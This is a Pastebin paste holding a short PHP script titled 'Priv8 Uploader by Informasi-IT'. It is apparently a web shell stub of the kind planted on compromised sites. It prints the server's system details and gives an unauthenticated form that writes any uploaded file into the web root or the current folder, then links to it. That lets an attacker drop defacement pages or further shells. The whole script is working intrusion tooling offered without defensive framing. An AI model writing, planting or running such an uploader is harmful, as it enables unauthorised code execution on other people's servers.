Guest User

Untitled

a guest
May 23rd, 2020
106
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. echo "Priv8 Uploader by Informasi-IT<br>";
  3. echo "<b>".php_uname()."</b><br>";
  4. echo "<form method='post' enctype='multipart/form-data'>
  5. <input type='file' name='idx_file'>
  6. <input type='submit' name='upload' value='upload'>
  7. </form>";
  8. $root = $_SERVER['DOCUMENT_ROOT'];
  9. $files = $_FILES['idx_file']['name'];
  10. $dest = $root.'/'.$files;
  11. if(isset($_POST['upload'])) {
  12. if(is_writable($root)) {
  13. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  14. $web = "http://".$_SERVER['HTTP_HOST']."/";
  15. echo "done -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  16. } else {
  17. echo "no upload";
  18. }
  19. } else {
  20. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  21. echo "done <b>$files</b> di folder ini";
  22. } else {
  23. echo "no upload";
  24. }
  25. }
  26. }
  27. ?>
RAW Paste Data